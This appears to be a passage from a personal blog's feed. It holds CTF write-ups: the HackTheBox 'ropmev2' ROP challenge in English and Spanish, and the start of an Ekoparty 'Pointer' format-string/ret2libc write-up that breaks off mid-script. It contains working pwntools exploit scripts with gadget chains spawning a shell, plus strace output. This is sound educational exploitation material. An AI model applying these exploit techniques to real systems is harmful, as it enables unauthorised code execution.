</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0xd0</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">exploit</span><span class="p">))</span> <span class="c1"># buffer
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># rbp
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401162</span><span class="p">)</span> <span class="c1"># 1st gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">59</span><span class="p">)</span> <span class="c1"># rax value (execve)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401164</span><span class="p">)</span> <span class="c1"># 2nd gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># rdx value (NULL)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># r13 value (Doesn't matter)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401429</span><span class="p">)</span> <span class="c1"># 3rd gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># rsi value (NULL)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># r15 value (Doesn't matter)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401168</span><span class="p">)</span> <span class="c1"># syscall gadget
</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">exploit</span><span class="p">)</span>
</code></pre></div></div>
<p>After each gadget, we put the values that will be used to populate the registers. For example, after the address of the first gadget, we place 59 on the stack. This value will be popped to <code class="language-plaintext highlighter-rouge">rax</code> when the gadget gets executed.</p>
<p>But, sadly the script doesn’t work:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span><span class="o">(</span>python2 ./exp_local.py<span class="p">;</span> <span class="nb">cat</span><span class="o">)</span>|./ropmev2
Please dont hack me
<span class="nb">ls
cat</span>: write error: Broken pipe
Segmentation fault
</code></pre></div></div>
<p>Note: it is necessary to execute <code class="language-plaintext highlighter-rouge">cat</code> after injecting the exploit to keep a pipe open to communicate with <code class="language-plaintext highlighter-rouge">sh</code>.</p>
<p>We use <code class="language-plaintext highlighter-rouge">strace</code> to try to find out why our call to <code class="language-plaintext highlighter-rouge">execve</code> is failing:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span><span class="o">(</span>python2 ./exp_local.py<span class="p">;</span> <span class="nb">cat</span><span class="o">)</span>|strace ./ropmev2
execve<span class="o">(</span><span class="s2">"./ropmev2"</span>, <span class="o">[</span><span class="s2">"./ropmev2"</span><span class="o">]</span>, 0x7fff18a436a0 /<span class="k">*</span> 43 vars <span class="k">*</span>/<span class="o">)</span> <span class="o">=</span> 0
<span class="o">(</span>...<span class="o">)</span>
write<span class="o">(</span>1, <span class="s2">"Please dont hack me</span><span class="se">\n</span><span class="s2">"</span>, 20Please dont hack me
<span class="o">)</span> <span class="o">=</span> 20
<span class="nb">read</span><span class="o">(</span>0, <span class="s2">"/bin/sh</span><span class="se">\0</span><span class="s2">AAAAAAAAAAAAAAAAAAAAAAAA"</span>..., 500<span class="o">)</span> <span class="o">=</span> 288
execve<span class="o">(</span><span class="s2">"/ova/fu"</span>, NULL, NULL<span class="o">)</span> <span class="o">=</span> <span class="nt">-1</span> ENOENT <span class="o">(</span>No such file or directory<span class="o">)</span>
<span class="nt">---</span> SIGSEGV <span class="o">{</span><span class="nv">si_signo</span><span class="o">=</span>SIGSEGV, <span class="nv">si_code</span><span class="o">=</span>SEGV_MAPERR, <span class="nv">si_addr</span><span class="o">=</span>NULL<span class="o">}</span> <span class="nt">---</span>
+++ killed by SIGSEGV +++
</code></pre></div></div>
<p>Despite <code class="language-plaintext highlighter-rouge">read</code> is actually reading <code class="language-plaintext highlighter-rouge">/bin/sh</code> and storing it in the buffer, when <code class="language-plaintext highlighter-rouge">execve</code> gets executed the buffer contains <code class="language-plaintext highlighter-rouge">/ova/fu</code>.
This is caused by the execution of the function renamed as <code class="language-plaintext highlighter-rouge">screwBuffer</code> which is called at <code class="language-plaintext highlighter-rouge">0x401207</code> just before returning <code class="language-plaintext highlighter-rouge">main</code>.
Now the new name makes sense xD. If you look carefully at the function, run some tests with different inputs, and use a little bit of intuition, you can figure out that the transformation of the input is reversible. Hence, the solution is to change <code class="language-plaintext highlighter-rouge">/bin/sh</code> for <code class="language-plaintext highlighter-rouge">/ova/fu</code>.</p>
<p>Now the exploit works locally using the following code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">exploit</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"/ova/fu</span><span class="se">\0</span><span class="s">"</span> <span class="c1"># buffer
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0xd0</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">exploit</span><span class="p">))</span> <span class="c1"># buffer
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># rbp
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401162</span><span class="p">)</span> <span class="c1"># 1er gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">59</span><span class="p">)</span> <span class="c1"># valor rax (execve)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401164</span><span class="p">)</span> <span class="c1"># 2er gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span>
<span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span>
<span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401429</span><span class="p">)</span> <span class="c1"># 3er gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span>
<span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span>
<span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401168</span><span class="p">)</span> <span class="c1"># syscall
</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">exploit</span><span class="p">)</span>
</code></pre></div></div>
<p>We just have to adapt the script to connect to the remote server. For this we change <code class="language-plaintext highlighter-rouge">sys.stdout.write(exploit)</code> for:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'docker.hackthebox.eu'</span><span class="p">,</span><span class="mi">30257</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">'linux'</span><span class="p">,</span><span class="n">arch</span><span class="o">=</span><span class="s">'amd64'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">exploit</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>The exploit doesn’t work remotely. The person who made this challenge thought it would be funny to change <code class="language-plaintext highlighter-rouge">/bin/sh</code> for other binary that prints “LOL NOPE”.
Luckily we can sort this out just by replacing <code class="language-plaintext highlighter-rouge">/bin/sh</code> with <code class="language-plaintext highlighter-rouge">/bin/bash</code>. Just don’t forget to reverse it so <code class="language-plaintext highlighter-rouge">screwBuffer</code> makes it right (<code class="language-plaintext highlighter-rouge">/ova/onfu</code>).</p>Octavio GianatiempoThis vulnerable binary is a retired Pwn challenge from HackTheBox. You can download it from here. As its name suggests, to exploit it we must use Return Oriented Programming (ROP).ropmev2 (Pwn) – HackTheBox [ES]2020-11-02T00:00:00-03:002020-11-02T00:00:00-03:00https://ogianatiempo.github.io/writeup/ropmev2_es<p>Este binario vulnerable es un desafío retirado de la categoría Pwn de HackTheBox. Lo pueden descargar <a href="/assets/binaries/ropmev2/ropmev2">acá</a>. Como su nombre sugiere, para resolverlo hay que usar la técnica de <em>Return Oriented Programming</em> (ROP).</p>
<p>Primero veamos que tipo de archivo es con <code class="language-plaintext highlighter-rouge">file</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ropmev2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0
</code></pre></div></div>
<p>Es un ejecutable de Linux de 64 bits dinámicamente linkeado.
Si lo ejecutamos imprime “Please dont hack me” y espera un input.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span>./ropmev2
Please dont hack me
<span class="nb">test</span>
</code></pre></div></div>
<p>Usando <code class="language-plaintext highlighter-rouge">checksec</code> podemos ver que no tiene canario para detectar buffer overflows pero tiene flag NX, así que no se puede ejecutar el stack. Por otro lado, el binario no tiene PIE habilitado y entonces se va a ejecutar siempre en la misma posición de memoria, lo que facilita la explotación. Todo esto ya sugiere que va a haber que usar ROP.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span>checksec ropmev2
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/octo/HTB/Challenges/Pwn/ropmev2/ropmev2'</span>
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE <span class="o">(</span>0x400000<span class="o">)</span>
</code></pre></div></div>
<p>Si lo desensamblamos podemos ver un par de cosas.
En primer lugar reserva espacio en el stack para un buffer de <code class="language-plaintext highlighter-rouge">0xd0</code> bytes con la instrucción <code class="language-plaintext highlighter-rouge">sub rsp, 0xd0</code> en <code class="language-plaintext highlighter-rouge">0x40116f</code> pero luego lee 500 bytes cuando llama a <code class="language-plaintext highlighter-rouge">read</code> en <code class="language-plaintext highlighter-rouge">0x4011b4</code>. Por lo tanto podemos explotar este buffer.</p>
<p><img src="/assets/images/posts/ropmev2/disass.png" alt="desensamblado" /></p>
<p>Por otro lado, si escribimos en el buffer <code class="language-plaintext highlighter-rouge">DEBUG</code> entonces el programa va a imprimir “I dont know what this is” y la dirección del buffer. Esto es porque, si da verdadera la comparación realizada en <code class="language-plaintext highlighter-rouge">0x4011ca</code>, se ejecuta el segundo bloque de código.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span>./ropmev2
Please dont hack me
DEBUG
I dont know what this is 0x7ffca3dcda90
Please dont hack me
</code></pre></div></div>
<p>De todas formas no necesitamos esa dirección porque, antes de retornar, la funcion <code class="language-plaintext highlighter-rouge">main</code> llama a la función que renombramos como <code class="language-plaintext highlighter-rouge">screwBuffer</code>. Luego vamos a ver porque la llamamos así, pero por el momento esto nos sirve porque hace que, al momento de retornar, el registro <code class="language-plaintext highlighter-rouge">rdi</code> apunte al buffer. Esto puede ser corroborado debuggeando el programa con <code class="language-plaintext highlighter-rouge">gdb</code> y más adelante vamos a ver porque es útil.</p>
<p>La idea es usar la técnica ROP, que consiste en utilizar fragmentos de código del programa llamados gadgets para poder lograr obtener una shell. Estos gadgets están formados por algunas instrucciones y luego en general terminan con la instrucción <code class="language-plaintext highlighter-rouge">ret</code>. Entonces, podemos usarlos uno atrás de otro como si fueran llamados a pequeñas funciones sólo que, en vez de ser llamados mediante la instrucción <code class="language-plaintext highlighter-rouge">call</code>, son llamados por la instrucción <code class="language-plaintext highlighter-rouge">ret</code>. Por este motivo, debemos armar el stack y posicionar correctamente los argumentos de los gadgets luego la dirección de cada uno como se ilustra en este dibujo (tomado de <a href="https://link.springer.com/chapter/10.1007/978-3-319-49148-6_12">acá</a>):</p>
<p><img src="/assets/images/posts/ropmev2/rop.gif" alt="esquema rop" /></p>
<p>Donde dice data irían los argumentos de cada gadget. Veamos entonces qué gadgets tiene el binario usando <a href="https://github.com/JonathanSalwan/ROPgadget">ROPgadget</a>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ROPgadget <span class="nt">--binary</span> ropmev2
Gadgets information
<span class="o">============================================================</span>
0x00000000004010a9 : add ah, dh <span class="p">;</span> nop dword ptr <span class="o">[</span>rax + rax] <span class="p">;</span> ret
<span class="o">(</span>...<span class="o">)</span>
0x0000000000401168 : syscall
0x00000000004010d9 : xor al, 0x40 <span class="p">;</span> add bh, bh <span class="p">;</span> loopne 0x40114c <span class="p">;</span> nop <span class="p">;</span> ret
</code></pre></div></div>
<p>En 0x401168 está la instrucción <code class="language-plaintext highlighter-rouge">syscall</code> que podemos usar para obtener la shell. Vamos a usar la <code class="language-plaintext highlighter-rouge">syscall</code> <code class="language-plaintext highlighter-rouge">execve</code> para ejecutar <code class="language-plaintext highlighter-rouge">/bin/sh</code> y para eso podemos consultar los argumentos <a href="https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">acá</a>.</p>
<table>
<thead>
<tr>
<th>rax</th>
<th>System call</th>
<th>rdi</th>
<th>rsi</th>
<th>rdx</th>
</tr>
</thead>
<tbody>
<tr>
<td>59</td>
<td>sys_execve</td>
<td>const char *filename</td>
<td>const char *const argv[]</td>
<td>const char *const envp[]</td>
</tr>
</tbody>
</table>
<p>Entonces hay que buscar gadgets que nos permitan setear <code class="language-plaintext highlighter-rouge">rax</code>, <code class="language-plaintext highlighter-rouge">rsi</code> y <code class="language-plaintext highlighter-rouge">rdx</code>, para luego usar la instrucción <code class="language-plaintext highlighter-rouge">syscall</code>. No necesitamos setear <code class="language-plaintext highlighter-rouge">rdi</code> porque ya se encontraba apuntando al buffer. Sólo tenemos que escribir en el buffer el binario a ejecutar. <code class="language-plaintext highlighter-rouge">rsi</code> y <code class="language-plaintext highlighter-rouge">rdx</code> deben ser <code class="language-plaintext highlighter-rouge">NULL</code>. Vamos a usar los siguientes gadgets que también obtuvimos con <code class="language-plaintext highlighter-rouge">ROPgadget</code>:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">0x401162</code>: <code class="language-plaintext highlighter-rouge">pop rax; ret</code></li>
<li><code class="language-plaintext highlighter-rouge">0x401164</code>: <code class="language-plaintext highlighter-rouge">pop rdx; pop r13; ret</code></li>
<li><code class="language-plaintext highlighter-rouge">0x401429</code>: <code class="language-plaintext highlighter-rouge">pop rsi; pop r15; ret</code></li>
<li><code class="language-plaintext highlighter-rouge">0x401168</code>: <code class="language-plaintext highlighter-rouge">syscall</code></li>
</ul>
<p>Para explotar el binario usamos el siguiente script de Python usando la librería <code class="language-plaintext highlighter-rouge">pwntools</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">exploit</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\0</span><span class="s">"</span> <span class="c1"># buffer
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0xd0</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">exploit</span><span class="p">))</span> <span class="c1"># buffer
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># rbp
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401162</span><span class="p">)</span> <span class="c1"># 1er gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">59</span><span class="p">)</span> <span class="c1"># valor rax (execve)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401164</span><span class="p">)</span> <span class="c1"># 2d gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># valor rdx (NULL)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># valor r13 (No importa)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401429</span><span class="p">)</span> <span class="c1"># 3er gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># valor rsi (NULL)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># valor r15 (No importa)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401168</span><span class="p">)</span> <span class="c1"># syscall
</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">exploit</span><span class="p">)</span>
</code></pre></div></div>
<p>Luego de cada gadget ponemos el valor que va a ser usado como si fuera un argumento. Por ejemplo, luego del primer gadget ponemos 59 que será popeado a <code class="language-plaintext highlighter-rouge">rax</code> al ejecutar el gadget.
El tema es que al ejecutarlo vemos que no funciona:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span><span class="o">(</span>python2 ./exp_local.py<span class="p">;</span> <span class="nb">cat</span><span class="o">)</span>|./ropmev2
Please dont hack me
<span class="nb">ls
cat</span>: write error: Broken pipe
Segmentation fault
</code></pre></div></div>
<p>Notar que es necesario ejecutar <code class="language-plaintext highlighter-rouge">cat</code> luego del exploit para que no se cierre el pipe que permitirá usar <code class="language-plaintext highlighter-rouge">sh</code>.</p>
<p>Podemos usar <code class="language-plaintext highlighter-rouge">strace</code> para intentar ver porque está fallando la llamada a la <code class="language-plaintext highlighter-rouge">syscall</code> <code class="language-plaintext highlighter-rouge">execve</code>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>octo@kali:~/HTB/Challenges/Pwn/ropmev2<span class="nv">$ </span><span class="o">(</span>python2 ./exp_local.py<span class="p">;</span> <span class="nb">cat</span><span class="o">)</span>|strace ./ropmev2
execve<span class="o">(</span><span class="s2">"./ropmev2"</span>, <span class="o">[</span><span class="s2">"./ropmev2"</span><span class="o">]</span>, 0x7fff18a436a0 /<span class="k">*</span> 43 vars <span class="k">*</span>/<span class="o">)</span> <span class="o">=</span> 0
<span class="o">(</span>...<span class="o">)</span>
write<span class="o">(</span>1, <span class="s2">"Please dont hack me</span><span class="se">\n</span><span class="s2">"</span>, 20Please dont hack me
<span class="o">)</span> <span class="o">=</span> 20
<span class="nb">read</span><span class="o">(</span>0, <span class="s2">"/bin/sh</span><span class="se">\0</span><span class="s2">AAAAAAAAAAAAAAAAAAAAAAAA"</span>..., 500<span class="o">)</span> <span class="o">=</span> 288
execve<span class="o">(</span><span class="s2">"/ova/fu"</span>, NULL, NULL<span class="o">)</span> <span class="o">=</span> <span class="nt">-1</span> ENOENT <span class="o">(</span>No such file or directory<span class="o">)</span>
<span class="nt">---</span> SIGSEGV <span class="o">{</span><span class="nv">si_signo</span><span class="o">=</span>SIGSEGV, <span class="nv">si_code</span><span class="o">=</span>SEGV_MAPERR, <span class="nv">si_addr</span><span class="o">=</span>NULL<span class="o">}</span> <span class="nt">---</span>
+++ killed by SIGSEGV +++
</code></pre></div></div>
<p>Vemos que a pesar de que <code class="language-plaintext highlighter-rouge">read</code> está leyendo <code class="language-plaintext highlighter-rouge">/bin/sh</code> y guardándolo en el buffer, al momento de ejecutar <code class="language-plaintext highlighter-rouge">execve</code> el buffer contiene <code class="language-plaintext highlighter-rouge">/ova/fu</code>.
Esto es culpa de la función que renombramos como <code class="language-plaintext highlighter-rouge">screwBuffer</code> y que es llamada en <code class="language-plaintext highlighter-rouge">0x401207</code> antes de retornar de <code class="language-plaintext highlighter-rouge">main</code>.
Mirando un poco esa función, probando un poco y usando un otro poco la intuición podemos ver que la función es reversible.
Entonces, basta cambiar <code class="language-plaintext highlighter-rouge">/bin/sh</code> por <code class="language-plaintext highlighter-rouge">/ova/fu</code>.</p>
<p>El exploit ahora funciona de forma local y queda así:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">exploit</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"/ova/fu</span><span class="se">\0</span><span class="s">"</span> <span class="c1"># buffer
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x41</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0xd0</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">exploit</span><span class="p">))</span> <span class="c1"># buffer
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span> <span class="c1"># rbp
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401162</span><span class="p">)</span> <span class="c1"># 1er gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">59</span><span class="p">)</span> <span class="c1"># valor rax (execve)
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401164</span><span class="p">)</span> <span class="c1"># 2er gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span>
<span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span>
<span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401429</span><span class="p">)</span> <span class="c1"># 3er gadget
</span><span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span>
<span class="n">exploit</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span> <span class="o">*</span> <span class="mh">0x08</span>
<span class="n">exploit</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401168</span><span class="p">)</span> <span class="c1"># syscall
</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">exploit</span><span class="p">)</span>
</code></pre></div></div>
<p>Sólo resta cambiar un poco el script para usarlo con el servidor remoto de HackTheBox. Para esto cambiamos <code class="language-plaintext highlighter-rouge">sys.stdout.write(exploit)</code> por:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'docker.hackthebox.eu'</span><span class="p">,</span><span class="mi">30257</span><span class="p">)</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">'linux'</span><span class="p">,</span><span class="n">arch</span><span class="o">=</span><span class="s">'amd64'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">exploit</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Pero cuando lo ejecutamos no funciona. Al que hizo el desafío en HackTheBox le pareció divertido cambiar <code class="language-plaintext highlighter-rouge">/bin/sh</code> por otro binario que imprime “LOL NOPE”.
Por suerte podemos solucionarlo facilmente usando otro binario, como <code class="language-plaintext highlighter-rouge">/bin/bash</code>. Sólo no hay que olvidar escribir el inverso para que <code class="language-plaintext highlighter-rouge">screwBuffer</code> lo deje como queremos, que en este caso sería <code class="language-plaintext highlighter-rouge">/ova/onfu</code>.</p>Octavio GianatiempoEste binario vulnerable es un desafío retirado de la categoría Pwn de HackTheBox. Lo pueden descargar acá. Como su nombre sugiere, para resolverlo hay que usar la técnica de Return Oriented Programming (ROP).Pointer (Pwn) – Ekoparty 2020 Pre-CTF [EN]2020-10-26T00:00:00-03:002020-10-26T00:00:00-03:00https://ogianatiempo.github.io/writeup/Pointer_en<p>This vulnerable binary was part of the misc challenges at the Ekoparty 2020 Pre-CTF. You can download it <a href="/assets/binaries/Pointer/Pointer">here</a>. To solve it you have to combine a format string attack with ret2libc.</p>
<p>Let’s start by checking the file type with <code class="language-plaintext highlighter-rouge">file</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Pointer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32
</code></pre></div></div>
<p>The file is a 64-bit dynamically linked Linux executable. Upon execution, it says hello and waits for an input that is returned.</p>
<p><img src="/assets/images/posts/Pointer/terminal.jpg" alt="output" /></p>
<p>If we disassemble the binary, we find that it allocates space for a 0x40 byte buffer and for four 8 byte local variables in the stack.</p>
<p><img src="/assets/images/posts/Pointer/disass.jpg" alt="disassembly" /></p>
<p>These local variables are used to store pointers to <em>Procedure linkage table</em> (PLT) entries and the pointers are used to call <code class="language-plaintext highlighter-rouge">libc</code> functions. For example, here we see a call to <code class="language-plaintext highlighter-rouge">printf</code> that prints “Welcome bro” by copying this pointer to <code class="language-plaintext highlighter-rouge">rax</code> and then executing <code class="language-plaintext highlighter-rouge">call rax</code>.</p>
<p><img src="/assets/images/posts/Pointer/disass2.jpg" alt="disassembly2" /></p>
<p>Using the same strategy, the program asks for input passing the buffer’s address to <code class="language-plaintext highlighter-rouge">gets</code>. Then, the program uses the same pointer as the only argument of <code class="language-plaintext highlighter-rouge">printf</code>. Hence, we can try a format string attack. You can read more about this attack <a href="https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/5-format-string.html">here</a>, <a href="http://jbremer.org/format-string-vulnerabilities/">here</a> or <a href="https://www.youtube.com/watch?v=t1LH9D5cuK4">here</a>.</p>
<p><img src="/assets/images/posts/Pointer/disass3.jpg" alt="disassembly3" /></p>
<p>Let’s write a script to achieve the attack and print the address of <code class="language-plaintext highlighter-rouge">gets</code>. This address will be useful to calculate the positions of other <code class="language-plaintext highlighter-rouge">libc</code> functions in the program’s address space that we will use to take control of the execution. We’ll use a Python library called <code class="language-plaintext highlighter-rouge">pwntools</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">gets_got</span> <span class="o">=</span> <span class="mh">0x601040</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">"%7$s "</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">gets_got</span><span class="p">)</span>
